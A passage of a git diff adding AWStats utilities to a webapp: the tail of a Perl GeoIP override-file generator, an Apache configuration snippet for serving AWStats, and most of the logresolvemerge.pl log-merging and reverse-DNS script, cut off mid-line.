+#------------------------------------------------------------------------------ +# Function: Parse content of a config file +# Parameters: opened file handle, depth level, file name +# Input: - +# Output: Global variables +# Return: - +#------------------------------------------------------------------------------ +sub Parse_Config { + my ( $confighandle ) = $_[0]; + my $level = $_[1]; + my $configFile = $_[2]; + my $versionnum=0; + my $conflinenb=0; + + if ($level > 10) { error("$PROG can't read down more than 10 level of includes. Check that no 'included' config files include their parent config file (this cause infinite loop)."); } + + while (<$confighandle>) { + chomp $_; s/\r//; + $conflinenb++; + + # Extract version from first line + if (! $versionnum && $_ =~ /^# AWSTATS CONFIGURE FILE (\d+).(\d+)/i) { + $versionnum=($1*1000)+$2; + #if ($Debug) { debug(" Configure file version is $versionnum",1); } + next; + } + + if ($_ =~ /^\s*$/) { next; } + + # Check includes + if ($_ =~ /^Include "([^\"]+)"/ || $_ =~ /^#include "([^\"]+)"/) { # #include kept for backward compatibility + my $includeFile = $1; + if ($Debug) { debug("Found an include : $includeFile",2); } + if ( $includeFile !~ /^[\\\/]/ ) { + # Correct relative include files + if ($FileConfig =~ /^(.*[\\\/])[^\\\/]*$/) { $includeFile = "$1$includeFile"; } + } + if ($level > 1) { + warning("Warning: Perl versions before 5.6 cannot handle nested includes"); + next; + } + if ( open( CONFIG_INCLUDE, $includeFile ) ) { + &Parse_Config( *CONFIG_INCLUDE , $level+1, $includeFile); + close( CONFIG_INCLUDE ); + } + else { + error("Could not open include file: $includeFile" ); + } + next; + } + + # Remove comments + if ($_ =~ /^\s*#/) { next; } + $_ =~ s/\s#.*$//; + + # Extract param and value + my ($param,$value)=split(/=/,$_,2); + $param =~ s/^\s+//; $param =~ s/\s+$//; + + if ($param =~ /^DirData/){ + $DirData = $value; + #$DirData =~ s/"//g; + } + + # If not a param=value, try with next line + if (! $param) { warning("Warning: Syntax error line $conflinenb in file '$configFile'. Config line is ignored."); next; } + if (! defined $value) { warning("Warning: Syntax error line $conflinenb in file '$configFile'. Config line is ignored."); next; } + + if ($value) { + $value =~ s/^\s+//; $value =~ s/\s+$//; + $value =~ s/^\"//; $value =~ s/\";?$//; + # Replace __MONENV__ with value of environnement variable MONENV + # Must be able to replace __VAR_1____VAR_2__ + while ($value =~ /__([^\s_]+(?:_[^\s_]+)*)__/) { my $var=$1; $value =~ s/__${var}__/$ENV{$var}/g; } + } + + # Extra parameters +# if ($param =~ /^ExtraSectionName(\d+)/) { $ExtraName[$1]=$value; next; } +# +# # Plugins +# if ( $param =~ /^LoadPlugin/ ) { push @PluginsToLoad, $value; next; } + + # If parameters was not found previously, defined variable with name of param to value + $$param=$value; + } + + if ($Debug) { debug("Config file read was \"$configFile\" (level $level)"); } +} + +#------------------------------------------------------------------------------ +# Function: Attempts to load an existing override file +# Parameters: $SiteConfig $DirData +# Input: None +# Output: None +# Return: None +#------------------------------------------------------------------------------ +sub Load_File{ + my $conf = Get_Config_Name($SiteConfig); + my $file = $DirData; + $file =~ s/"//g; + if (!(rindex($file, "/") >= length($file)-1)){$file .= "/";} + $file .= $Types{lc($DBType)}.".$conf.txt"; + if (!($Output eq "")){$file = $Output;} + # see if file exists + if (!(-s $file)){debug("$file does not exist"); return;} + + # try loading + debug("Attempting to load data from $file"); + if (!open(DATA, $file)){error("Unable to open the data file: $file");} + while (<DATA>) { + chomp $_; s/\r//; + # skip comments + if ($_ =~ m/^#/){next;} + my $idx = index($_, ","); + if ($idx < 0) { debug("Invalid line: $_"); next; } + my $ip = substr($_, 0, $idx); + my $vals = substr($_, $idx); + $temp{$ip} = $vals; + } + close(DATA); + debug("Loaded ".scalar(%temp)." entries from the file"); +} + +#------------------------------------------------------------------------------ +# Function: Dumps the temp hash to the file +# Parameters: $SiteConfig $DirData +# Input: None +# Output: None +# Return: None +#------------------------------------------------------------------------------ +sub Write_File{ + my $conf = Get_Config_Name($SiteConfig); + my $file = $DirData; + $file =~ s/"//g; + if (!(rindex($file, "/") >= length($file)-1)){$file .= "/";} + $file .= $Types{lc($DBType)}.".$conf.txt"; + if (!($Output eq '')){$file = $Output;} + + # try loading + debug("Attempting to write data to $file"); + if (!open(DATA, ">$file")){error("Unable to open the data file: $file");} + my $counter = 0; + + # sort to make it easier to find ips + foreach my $key (sort keys %temp){ + if ($temp{$key}){ + print DATA "$key$temp{$key}\n"; + $counter++; + } + } + close(DATA); + debug("Wrote $counter entries to the data file"); +} + +#------------------------------------------------------------------------------ +# Function: Converts an IPv4 address to a decimal value +# Parameters: IP address in dotted notation +# Input: None +# Output: None +# Return: Integer +#------------------------------------------------------------------------------ +sub addr_to_num { unpack( N => pack( C4 => split( /\./, $_[0] ) ) ) } + +#------------------------------------------------------------------------------ +# Function: Converts an IPv4 address from decimal to it's dotted form +# Parameters: IP address as an integer +# Input: None +# Output: None +# Return: Dotted IP address +#------------------------------------------------------------------------------ +sub num_to_addr { join q{.}, unpack( C4 => pack( N => $_[0] ) ) } + +#----------------------------------------------------------------------------- +# MAIN +#----------------------------------------------------------------------------- +($DIR=$0) =~ s/([^\/\\]*)$//; +($PROG=$1) =~ s/\.([^\.]*)$//; + +my $QueryString=''; for (0..@ARGV-1) { $QueryString .= "$ARGV[$_]&"; } + +if ($QueryString =~ /(^|-|&)debug=(\d+)/i) { $Debug=$2; } +if ($QueryString =~ /(^|-|&)config=([^&]+)/i) { $SiteConfig="$2"; } +if ($QueryString =~ /(^|-|&)output=([^&]+)/i) { $Output="$2"; } +if ($QueryString =~ /(^|-|&)type=([^&]+)/i) { $DBType="$2"; } +if ($QueryString =~ /(^|-|&)start=([^&]+)/i) { $IPStart="$2"; } +if ($QueryString =~ /(^|-|&)end=([^&]+)/i) { $IPEnd="$2"; } +if ($QueryString =~ /(^|-|&)overwrite/i) { $Overwrite=1; } + +# Values +if ($QueryString =~ /(^|-|&)cc=([^&]+)/i) { $Values[1]="$2"; } +if ($QueryString =~ /(^|-|&)rc=([^&]+)/i) { $Values[2]="$2"; } +if ($QueryString =~ /(^|-|&)cn=([^&]+)/i) { $Values[3]="$2"; } +if ($QueryString =~ /(^|-|&)pc=([^&]+)/i) { $Values[4]="$2"; } +if ($QueryString =~ /(^|-|&)la=([^&]+)/i) { $Values[5]="$2"; } +if ($QueryString =~ /(^|-|&)lo=([^&]+)/i) { $Values[6]="$2"; } +if ($QueryString =~ /(^|-|&)mc=([^&]+)/i) { $Values[7]="$2"; } +if ($QueryString =~ /(^|-|&)ac=([^&]+)/i) { $Values[8]="$2"; } +if ($QueryString =~ /(^|-|&)is=([^&]+)/i) { $Values[9]="$2"; } +if ($QueryString =~ /(^|-|&)as=([^&]+)/i) { $Values[10]="$2"; } + +if ($OutputDir) { if ($OutputDir !~ /[\\\/]$/) { $OutputDir.="/"; } } + +if ((!$SiteConfig && !$Output) || !$DBType || !$IPStart) { + print "----- $PROG $VERSION (c) Chris Larsen -----\n"; + print "$PROG generates GeoIP Override files using data you provide.\n"; + print "Very useful for Intranet reporting or correcting an old database.\n"; + print "\n"; + print "Usage:\n"; + print "$PROG -type={type} <-config={site config} | -output={file_path}>\n"; + print " -start{IP} [data options] [script options]\n"; + print "\n"; + print " Required:\n"; + print " -type=val Type of database you want to override.\n"; + print " -config=val The full path to your AWStats config file\n"; + print " -output=val The full path to an output file\n"; + print " -start=dotted IP Starting IP address in 127.0.0.1 format\n"; + print "\n"; + print " Data Options: (surround in quotes if spaces)\n"; + print " -cc=xx Two character country code \n"; + print " -rc=xx Region code or name\n"; + print " -cn=xx City name\n"; + print " -pc=xx Postal code\n"; + print " -la=xx Latitude\n"; + print " -lo=xx Longitude\n"; + print " -mc=xx Metro code (US only)\n"; + print " -ac=xx Area code (US only)\n"; + print " -is=xx ISP\n"; + print " -as=xx AS Number\n"; + print "\n"; + print " Script Options:\n"; + print " -end=dotted IP Ending IP address for a range \n"; + print " -debug=level Debug level to print\n"; + print " -overwrite Deletes any entries in the file. Otherwise appends.\n"; + print "\n"; + print "Allowable Type Values: GeoIP | GeoIPFree | GeoCity | GeoCityLite\n"; + print " GeoIPRegion | GeoIPOrg | GeoIPASN \n"; + exit 0; +} + +# check the db type +my $matched=0; +if (!$Types{lc($DBType)}){error("Invalid database type: $DBType");} +else {debug("Using Database type: $DBType");} + +# Read config file (SiteConfig must be defined) +&Read_Config($SiteConfig); + +# see if we have valid IPs +if ($IPStart =~ /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/) { # IPv4 address + debug("Starting IPv4 Address: $IPStart"); +} +elsif ($IPStart =~ /^[0-9A-F]*:/i) { # IPv6 address + error("Starting IPv6 Address: $IPStart"); +}else{error("Invalid starting IP address: $IPStart");} + +# for the end IP, if it's empty, we copy the start +if ($IPEnd eq ""){ + $IPEnd = $IPStart; + debug ("Using IPStart for IPEnd: $IPEnd"); +} +elsif($IPEnd =~ /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/) { # IPv4 address + debug("Ending IPv4 Address: $IPEnd"); +} +elsif ($IPEnd =~ /^[0-9A-F]*:/i) { # IPv6 address + error("Ending IPv6 Address: $IPEnd"); +}else{error("Invalid ending IP address: $IPEnd");} + +# load the file before anything happens +if (!$Overwrite){ Load_File(); } + +# get the start and end IPs as integers +my $start = addr_to_num($IPStart); +my $end = addr_to_num($IPEnd); + +# loop and dump +while ($start <= $end){ + # add the IP and values to the hash + my $f = ","; + # clean start and end quotes + if ($f =~ m/^"/) {$f = substr($f, 1);} + + # build the fields by switching on the dbtype + switch (lc($DBType)){ + case "geoip" {$f .= $Values[1]; } + case "geoipfree" {$f .= $Values[1]; } + case "geoipcity" { + $f .= $Values[1].",".$Values[2].",\"".$Values[3]."\",\""; + $f .= $Values[4]."\",".$Values[5].",".$Values[6].",\""; + $f .= $Values[7]."\",\"".$Values[8]."\""; + } + case "geoipcitylite" { + $f .= $Values[1].",".$Values[2].",\"".$Values[3]."\",\""; + $f .= $Values[4]."\",".$Values[5].",".$Values[6].",\""; + $f .= $Values[7]."\",\"".$Values[8]."\""; + } + case "geoipregion" {$f .= "\"".$Values[2]."\""; } + case "geoiporg" {$f .= "\"".$Values[9]."\""; } + case "geoipasn" {$f .= "\"".$Values[10]." ".$Values[9]."\""} + } + + $temp{num_to_addr($start)} = $f; + debug("Generating: ".num_to_addr($start)."$f",2); + $start++; +} + +# write +Write_File(); + +1; # Do not remove this line + + + + diff --git a/src/main/webapp/monitoramento/tools/httpd_conf b/src/main/webapp/monitoramento/tools/httpd_conf new file mode 100644 index 0000000..d9d2eaa --- /dev/null +++ b/src/main/webapp/monitoramento/tools/httpd_conf @@ -0,0 +1,29 @@ +# +# Content of this file, with correct values, can be automatically added to +# your Apache server by using the AWStats configure.pl tool. +# + + +# If using Windows and Perl ActiveStat, this is to enable Perl script as CGI. +#ScriptInterpreterSource registry + + +# +# Directives to add to your Apache conf file to allow use of AWStats as a CGI. +# Note that path "/usr/local/awstats/" must reflect your AWStats install path. +# +Alias /awstatsclasses "/usr/local/awstats/wwwroot/classes/" +Alias /awstatscss "/usr/local/awstats/wwwroot/css/" +Alias /awstatsicons "/usr/local/awstats/wwwroot/icon/" +ScriptAlias /awstats/ "/usr/local/awstats/wwwroot/cgi-bin/" + + +# +# This is to permit URL access to scripts/files in AWStats directory. +# +<Directory "/usr/local/awstats/wwwroot"> + Options None + AllowOverride None + Order allow,deny + Allow from all +</Directory> diff --git a/src/main/webapp/monitoramento/tools/logresolvemerge.pl b/src/main/webapp/monitoramento/tools/logresolvemerge.pl new file mode 100755 index 0000000..e8193bb --- /dev/null +++ b/src/main/webapp/monitoramento/tools/logresolvemerge.pl @@ -0,0 +1,802 @@ +#!/usr/bin/perl +#----------------------------------------------------------------------------- +# Allows you to get one unique output log file, sorted on date, +# built from particular sources. +# This tool is part of AWStats log analyzer but can be use +# alone for any other log analyzer. +# See COPYING.TXT file about AWStats GNU General Public License. +#----------------------------------------------------------------------------- +# $Revision: 1.45 $ - $Author: eldy $ - $Date: 2013/01/17 19:54:15 $ + +use strict; no strict "refs"; +#use diagnostics; +use POSIX qw( strftime ); + + +#----------------------------------------------------------------------------- +# Defines +#----------------------------------------------------------------------------- + +# ENABLETHREAD --> COMMENT THIS BLOCK TO USE A THREADED VERSION +my $UseThread=0; +&Check_Thread_Use(); +my $NbOfDNSLookupAsked = 0; +my %threadarray = (); +my %MyDNSTable = (); +my %TmpDNSLookup = (); + +# ENABLETHREAD --> UNCOMMENT THIS BLOCK TO USE A THREADED VERSION +#my $UseThread=1; +#&Check_Thread_Use(); +#my $NbOfDNSLookupAsked : shared = 0; +#my %threadarray : shared = (); +#my %MyDNSTable : shared = (); +#my %TmpDNSLookup : shared = (); + + +# ---------- Init variables -------- +use vars qw/ $REVISION $VERSION /; +$REVISION='$Revision: 1.45 $'; $REVISION =~ /\s(.*)\s/; $REVISION=$1; +$VERSION="1.2 (build $REVISION)"; + +use vars qw/ $NBOFLINESFORBENCHMARK /; +$NBOFLINESFORBENCHMARK=8192; + +use vars qw/ +$DIR $PROG $Extension +$Debug $ShowSteps $AddFileNum $AddFileName $LastLogNum $PrintFields +$MaxNbOfThread $DNSLookup $DNSCache $DirCgi $DirData $DNSLookupAlreadyDone +$NbOfLinesShowsteps $AFINET $QueueCursor $StopOnFirstEof $IgnoreMissing +/; +$DIR=''; +$PROG=''; +$Extension=''; +$Debug=0; +$ShowSteps=0; +$AddFileNum=0; +$AddFileName=0; +$LastLogNum=0; +$PrintFields=0; +$MaxNbOfThread=0; +$DNSLookup=0; +$DNSCache=''; +$DirCgi=''; +$DirData=''; +$DNSLookupAlreadyDone=0; +$NbOfLinesShowsteps=0; +$AFINET=''; +$StopOnFirstEof=0; +$IgnoreMissing=0; + +# ---------- Init arrays -------- +use vars qw/ +@SkipDNSLookupFor +@ParamFile +@Fields +/; +# ---------- Init hash arrays -------- +use vars qw/ +%LogFileToDo %linerecord %timerecord %corrupted +%QueueHostsToResolve %QueueRecords +/; +%LogFileToDo = %linerecord = %timerecord = %corrupted = (); +%QueueHostsToResolve = %QueueRecords = (); + +# DRA2: the order of timerecords are kept here, each index in the array is the filerecordnumber, which +# DRA2: is used as the key for the other hashes +use vars qw/ +@timerecordorder +/; +@timerecordorder = (); + +# ---------- External Program variables ---------- +# For gzip compression +my $zcat = 'gzip -cd'; +my $zcat_file = '\.gz$'; +# For bz2 compression +my $bzcat = 'bzcat'; +my $bzcat_file = '\.bz2$'; + + + +#----------------------------------------------------------------------------- +# Functions +#----------------------------------------------------------------------------- + +#------------------------------------------------------------------------------ +# Function: Add all files of a specific directory +# Parameters: $message +# Input: Directory path +# Output: None +# Return: Array with list of files +#------------------------------------------------------------------------------ +sub addDirectory { + my ($dir,@list) = @_; + my $dirH; + opendir($dirH, $dir) || die ("Can't open '$dir'"); + while ($_ = readdir($dirH) ) { + if (-f "$dir/$_") { + push @list, "$dir/$_"; + } + } + closedir($dirH); + return @list; +} + +#------------------------------------------------------------------------------ +# Function: Write an error message and exit +# Parameters: $message +# Input: None +# Output: None +# Return: None +#------------------------------------------------------------------------------ +sub error { + print "Error: $_[0].\n"; + exit 1; +} + +#------------------------------------------------------------------------------ +# Function: Write a debug message +# Parameters: $message +# Input: $Debug +# Output: None +# Return: None +#------------------------------------------------------------------------------ +sub debug { + my $level = $_[1] || 1; + if ($Debug >= $level) { + my $debugstring = $_[0]; + print "DEBUG $level - ".localtime(time())." : $debugstring\n"; + } +} + +#------------------------------------------------------------------------------ +# Function: Write a warning message +# Parameters: $message +# Input: $Debug +# Output: None +# Return: None +#------------------------------------------------------------------------------ +sub warning { + my $messagestring=shift; + if ($Debug) { debug("$messagestring",1); } + print "$messagestring\n"; +} + +#----------------------------------------------------------------------------- +# Function: Return 1 if string contains only ascii chars +# Input: String +# Return: 0 or 1 +#----------------------------------------------------------------------------- +sub IsAscii { + my $string=shift; + if ($Debug) { debug("IsAscii($string)",5); } + if ($string =~ /^[\w\+\-\/\\\.%,;:=\"\'&?!\s]+$/) { + if ($Debug) { debug(" Yes",5); } + return 1; # Only alphanum chars (and _) or + - / \ . % , ; : = " ' & ? space \t + } + if ($Debug) { debug(" No",5); } + return 0; +} + +#----------------------------------------------------------------------------- +# DRA Function: Return 1 if DNS lookup should be skipped +# Input: String +# Return: 0 or 1 +#----------------------------------------------------------------------------- +sub SkipDNSLookup { + foreach my $match (@SkipDNSLookupFor) { if ($_[0] =~ /$match/i) { return 1; } } + 0; # Not in @SkipDNSLookupFor +} + +#----------------------------------------------------------------------------- +# Function: Function that wait for DNS lookup (can be threaded) +# Input: String +# Return: 0 or 1 +#----------------------------------------------------------------------------- +sub MakeDNSLookup { + my $ipaddress=shift; + $NbOfDNSLookupAsked++; + use Socket; $AFINET=AF_INET; + my $tid=0; + $tid=$MaxNbOfThread?eval("threads->self->tid()"):0; + if ($Debug) { debug(" ***** Thread id $tid: MakeDNSlookup started (for $ipaddress)",4); } + my $lookupresult=gethostbyaddr(pack("C4",split(/\./,$ipaddress)),$AFINET); # This is very slow, may took 20 seconds + if (! $lookupresult || $lookupresult =~ /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/ || ! IsAscii($lookupresult)) { + $TmpDNSLookup{$ipaddress}='*'; + } + else { + $TmpDNSLookup{$ipaddress}=$lookupresult; + } + if ($Debug) { debug(" ***** Thread id $tid: MakeDNSlookup done ($ipaddress resolved into $TmpDNSLookup{$ipaddress})",4); } + delete $threadarray{$ipaddress}; + return; +} + +#----------------------------------------------------------------------------- +# Function: WriteRecordsReadyInQueue +# Input: - +# Return: 0 +#----------------------------------------------------------------------------- +sub WriteRecordsReadyInQueue { + my $logfilechosen=shift; + if ($Debug) { debug("Check head of queue to write records ready to flush (QueueCursor=$QueueCursor, QueueSize=".(scalar keys %QueueRecords).")",4); } + while ( $QueueHostsToResolve{$QueueCursor} && ( ($QueueHostsToResolve{$QueueCursor} eq '*') || ($MyDNSTable{$QueueHostsToResolve{$QueueCursor}}) || ($TmpDNSLookup{$QueueHostsToResolve{$QueueCursor}}) ) ) { + # $QueueCursor point to a ready record + if ($QueueHostsToResolve{$QueueCursor} eq '*') { + if ($Debug) { debug(" First elem in queue is ready. No change on it. We pull it.",4); } + } + else { + if ($MyDNSTable{$QueueHostsToResolve{$QueueCursor}}) { + if ($MyDNSTable{$QueueHostsToResolve{$QueueCursor}} ne '*') { + $QueueRecords{$QueueCursor}=~s/$QueueHostsToResolve{$QueueCursor}/$MyDNSTable{$QueueHostsToResolve{$QueueCursor}}/; + if ($Debug) { debug(" First elem in queue has been resolved (found in MyDNSTable $MyDNSTable{$QueueHostsToResolve{$QueueCursor}}). We pull it.",4); } + } + } + elsif ($TmpDNSLookup{$QueueHostsToResolve{$QueueCursor}}) { + if ($TmpDNSLookup{$QueueHostsToResolve{$QueueCursor}} ne '*') { + $QueueRecords{$QueueCursor}=~s/$QueueHostsToResolve{$QueueCursor}/$TmpDNSLookup{$QueueHostsToResolve{$QueueCursor}}/; + if ($Debug) { debug(" First elem in queue has been resolved (found in TmpDNSLookup $TmpDNSLookup{$QueueHostsToResolve{$QueueCursor}}). We pull it.",4); } + } + } + } + # Record is ready, we output it. + if ($AddFileNum) { print "$logfilechosen "; } + if ($AddFileName) { print "$LogFileToDo{$logfilechosen} "; } + # see if we need to dump fields + if ($PrintFields && $LastLogNum != $logfilechosen){ + print($Fields[$logfilechosen]."\n"); + $LastLogNum = $logfilechosen; + } + print "$QueueRecords{$QueueCursor}\n"; + delete $QueueRecords{$QueueCursor}; + delete $QueueHostsToResolve{$QueueCursor}; + $QueueCursor++; + } + return 0; +} + +#----------------------------------------------------------------------------- +# Function: Check if thread are enabled or not +# Input: - +# Return: - +#----------------------------------------------------------------------------- +sub Check_Thread_Use { + if ($] >= 5.008) { for (0..@ARGV-1) { if ($ARGV[$_] =~ /^-dnslookup[:=](\d{1,2})/i) { + if ($UseThread) { + if (!eval ('require "threads.pm";')) { &error("Failed to load perl module 'threads' required for multi-threaded DNS lookup".($@?": $@":"")); } + if (!eval ('require "threads/shared.pm";')) { &error("Failed to load perl module 'threads::shared' required for multi-threaded DNS lookup".($@?": $@":"")); } + } + else { &error("Multi-thread is disabled in default version of this script.\nYou must manually edit the file '$0' to comment/uncomment all\nlines marked with 'ENABLETHREAD' string to enable multi-threading"); } + } } + } +} + + +#----------------------------------------------------------------------------- +# MAIN +#----------------------------------------------------------------------------- +($DIR=$0) =~ s/([^\/\\]*)$//; ($PROG=$1) =~ s/\.([^\.]*)$//; $Extension=$1; + +# Get parameters (Note: $MaxNbOfThread is already known +my $cpt=1; +for (0..@ARGV-1) { + if ($ARGV[$_] =~ /^-/) { + if ($ARGV[$_] =~ /debug=(\d)/i) { $Debug=$1; } + elsif ($ARGV[$_] =~ /dnscache=/i) { $DNSLookup||=2; $DNSCache=$ARGV[$_]; $DNSCache =~ s/-dnscache=//; } + elsif ($ARGV[$_] =~ /dnslookup[:=](\d{1,2})/i) { $DNSLookup||=1; $MaxNbOfThread=$1; } + elsif ($ARGV[$_] =~ /dnslookup/i) { $DNSLookup||=1; } + elsif ($ARGV[$_] =~ /showsteps/i) { $ShowSteps=1; } + elsif ($ARGV[$_] =~ /addfilenum/i) { $AddFileNum=1; } + elsif ($ARGV[$_] =~ /addfilename/i) { $AddFileName=1; } + elsif ($ARGV[$_] =~ /stoponfirsteof/i) { $StopOnFirstEof=1; } + elsif ($ARGV[$_] =~ /printfields/i) { $PrintFields=1; } + elsif ($ARGV[$_] =~ /ignoremissing/i) { $IgnoreMissing=1; } + else { print "Unknown argument $ARGV[$_] ignored\n"; } + } + elsif ($ARGV[$_] =~ /addfolder=(.*)$/i) { + @ParamFile = addDirectory($1, @ParamFile); + } + else { + push @ParamFile, $ARGV[$_]; + $cpt++; + } +} +if ($Debug) { $|=1; } + +if ($Debug) { + debug(ucfirst($PROG)." - $VERSION - Perl $^X $]",1); + debug("DNSLookup=$DNSLookup"); + debug("DNSCache=$DNSCache"); + debug("MaxNbOfThread=$MaxNbOfThread"); +} + +# Disallow MaxNbOfThread and Perl < 5.8 +if ($] < 5.008 && $MaxNbOfThread) { + error("Multi-threaded DNS lookup is only supported with Perl 5.8 or higher (not $]). Use -dnslookup option instead"); +} + +# Warning, there is a memory hole in ActiveState perl version (in delete functions) +if ($^X =~ /activestate/i || $^X =~ /activeperl/i) { + # TODO Add a warning + +} + +if (scalar @ParamFile == 0) { + print "----- $PROG $VERSION (c) Laurent Destailleur -----\n"; + print "$PROG allows you to get one unique output log file, sorted on date,\n"; + print "built from particular sources:\n"; + print " - It can read several input log files,\n"; + print " - It can read .gz/.bz2 log files,\n"; + print " - It can also makes a fast reverse DNS lookup to replace\n"; + print " all IP addresses into host names in resulting log file.\n"; + print "$PROG comes with ABSOLUTELY NO WARRANTY. It's a free software\n"; + print "distributed with a GNU General Public License (See COPYING.txt file).\n"; + print "$PROG is part of AWStats but can be used alone as a log merger\n"; + print "or resolver before using any other log analyzer.\n"; + print "\n"; + print "Usage:\n"; + print " $PROG.$Extension [options] file\n"; + print " $PROG.$Extension [options] file1 ... filen\n"; + print " $PROG.$Extension [options] *.*\n"; + print " $PROG.$Extension [options] addfolder=dirname\n"; + print " perl $PROG.$Extension [options] *.* > newfile\n"; + print "Options:\n"; + print " -dnslookup make a reverse DNS lookup on IP adresses\n"; + print " -dnslookup=n same with a n parallel threads instead of serial requests\n"; + print " -dnscache=file make DNS lookup from cache file first before network lookup\n"; + print " -showsteps print on stderr benchmark information every $NBOFLINESFORBENCHMARK lines\n"; + print " -addfilenum if used with several files, file number can be added in first\n"; + print " -addfilename if used with several files, file name can be added in first\n"; + print " field of output file. This can be used to add a cluster id\n"; + print " when log files come from several load balanced computers.\n"; + print " -stoponfirsteof Stop processing when any logfile reaches end-of-file.\n"; + print " -printfields For IIS or W3C logs, prints the latest field header for\n"; + print " the currentlog file when switching between log file entries\n"; + print " so that the parsercan automatically determine which fields\n"; + print " are avaiable.\n"; + print " -ignoremissing will not fail if a log file is missing\n"; + print "\n"; + + print "This runs $PROG in command line to open one or several\n"; + print "server log files to merge them (sorted on date) and/or to make a reverse\n"; + print "DNS lookup (if asked). The result log file is sent on standard output.\n"; + print "Note: $PROG is not a 'sort' tool to sort one file. It's a\n"; + print "software able to output sorted log records (with a reverse DNS lookup\n"; + print "included or not) even if log records are dispatched in several files.\n"; + print "Each of thoose files must be already independently sorted itself\n"; + print "(but that is the case in all web server log files). So you can use it\n"; + print "for load balanced log files or to group several old log files.\n"; + print "\n"; + print "Don't forget that the main goal of logresolvemerge is to send log records to\n"; + print "a log analyzer in a sorted order without merging files on disk (NO NEED\n"; + print "OF DISK SPACE AT ALL) and without loading files into memory (NO NEED\n"; + print "OF MORE MEMORY). Choose of output records is done on the fly.\n"; + print "\n"; + print "So logresolvemerge is particularly usefull when you want to output several\n"; + print "and/or large log files in a fast process, with no use of disk or\n"; + print "more memory, and in a chronological order through a pipe (to be used by a log\n"; + print "analyzer).\n"; + print "\n"; + print "Note: If input records are not 'exactly' sorted but 'nearly' sorted (this\n"; + print "occurs with heavy servers), this is not a problem, the output will also\n"; + print "be 'nearly' sorted but a few log analyzers (like AWStats) knowns how to deal\n"; + print "with such logs.\n"; + print "\n"; + print "WARNING: If log files are old MAC text files (lines ended with CR char), you\n"; + print "can't run this tool on Win or Unix platforms.\n"; + print "\n"; + print "WARNING: Because of memory holes in ActiveState Perl version, use another\n"; + print "Perl interpreter if you need to process large log files.\n"; + print "\n"; + print "Now supports/detects:\n"; + print " Automatic detection of log format\n"; + print " Files can be .gz/.bz2 files if zcat/bzcat tools are available in PATH.\n"; + print " Multithreaded reverse DNS lookup (several parallel requests) with Perl 5.8+.\n"; + print "New versions and FAQ at http://www.awstats.org\n"; + exit 0; +} + +# Get current time +my $nowtime=time; +my ($nowsec,$nowmin,$nowhour,$nowday,$nowmonth,$nowyear) = localtime($nowtime); +if ($nowyear < 100) { $nowyear+=2000; } else { $nowyear+=1900; } +my $nowsmallyear=$nowyear;$nowsmallyear =~ s/^..//; +if (++$nowmonth < 10) { $nowmonth = "0$nowmonth"; } +if ($nowday < 10) { $nowday = "0$nowday"; } +if ($nowhour < 10) { $nowhour = "0$nowhour"; } +if ($nowmin < 10) { $nowmin = "0$nowmin"; } +if ($nowsec < 10) { $nowsec = "0$nowsec"; } +# Get tomorrow time (will be used to discard some record with corrupted date (future date)) +my ($tomorrowsec,$tomorrowmin,$tomorrowhour,$tomorrowday,$tomorrowmonth,$tomorrowyear) = localtime($nowtime+86400); +if ($tomorrowyear < 100) { $tomorrowyear+=2000; } else { $tomorrowyear+=1900; } +my $tomorrowsmallyear=$tomorrowyear;$tomorrowsmallyear =~ s/^..//; +if (++$tomorrowmonth < 10) { $tomorrowmonth = "0$tomorrowmonth"; } +if ($tomorrowday < 10) { $tomorrowday = "0$tomorrowday"; } +if ($tomorrowhour < 10) { $tomorrowhour = "0$tomorrowhour"; } +if ($tomorrowmin < 10) { $tomorrowmin = "0$tomorrowmin"; } +if ($tomorrowsec < 10) { $tomorrowsec = "0$tomorrowsec"; } +my $timetomorrow=$tomorrowyear.$tomorrowmonth.$tomorrowday.$tomorrowhour.$tomorrowmin.$tomorrowsec; + +# Init other parameters +$NBOFLINESFORBENCHMARK--; +if ($ENV{"GATEWAY_INTERFACE"}) { $DirCgi=''; } +if ($DirCgi && !($DirCgi =~ /\/$/) && !($DirCgi =~ /\\$/)) { $DirCgi .= '/'; } +if (! $DirData || $DirData eq '.') { $DirData=$DIR; } # If not defined or choosed to "." value then DirData is current dir +if (! $DirData) { $DirData='.'; } # If current dir not defined then we put it to "." +$DirData =~ s/\/$//; + +#my %monthlib = ( "01","$Message[60]","02","$Message[61]","03","$Message[62]","04","$Message[63]","05","$Message[64]","06","$Message[65]","07","$Message[66]","08","$Message[67]","09","$Message[68]","10","$Message[69]","11","$Message[70]","12","$Message[71]" ); +# monthnum must be in english because it's used to translate log date in apache log files which are always in english +my %monthnum = ( "Jan","01","jan","01","Feb","02","feb","02","Mar","03","mar","03","Apr","04","apr","04","May","05","may","05","Jun","06","jun","06","Jul","07","jul","07","Aug","08","aug","08","Sep","09","sep","09","Oct","10","oct","10","Nov","11","nov","11","Dec","12","dec","12" ); + +if ($DNSCache) { + if ($Debug) { debug("Load DNS Cache file $DNSCache",2); } + open(CACHE, "<$DNSCache") or error("Can't open cache file $DNSCache"); + while (<CACHE>) { + my ($time, $ip, $name) = split; + if ($ip && $name) { + $name="$ip" if $name eq '*'; + $MyDNSTable{$ip}=$name; + } + } + close CACHE; +} + +#----------------------------------------------------------------------------- +# PROCESSING CURRENT LOG(s) +#----------------------------------------------------------------------------- +my $NbOfLinesRead=0; +my $NbOfLinesParsed=0; +my $logfilechosen=0; +my $starttime=time(); + +# Define the LogFileToDo list +$cpt=1; +foreach my $key (0..(@ParamFile-1)) { + if ($ParamFile[$key] !~ /\*/ && $ParamFile[$key] !~ /\?/) { + + if ($Debug) { debug("DBG1 Log file $ParamFile[$key] is added to LogFileToDo with number $cpt."); } + # Check for supported compression + if ($ParamFile[$key] =~ /$zcat_file/) { + if ($Debug) { debug("GZIP compression detected for Log file $ParamFile[$key]."); } + # Modify the name to include the zcat command + $ParamFile[$key] = $zcat . ' ' . $ParamFile[$key] . ' |'; + } + elsif ($ParamFile[$key] =~ /$bzcat_file/) { + if ($Debug) { debug("BZ2 compression detected for Log file $ParamFile[$key]."); } + # Modify the name to include the bzcat command + $ParamFile[$key] = $bzcat . ' ' . $ParamFile[$key] . ' |'; + } + + $LogFileToDo{$cpt}=@ParamFile[$key]; + $cpt++; + + } + else { + my $DirFile=$ParamFile[$key]; $DirFile =~ s/([^\/\\]*)$//; + $ParamFile[$key] = $1; + if ($DirFile eq '') { $DirFile = '.'; } + $ParamFile[$key] =~ s/\./\\\./g; + $ParamFile[$key] =~ 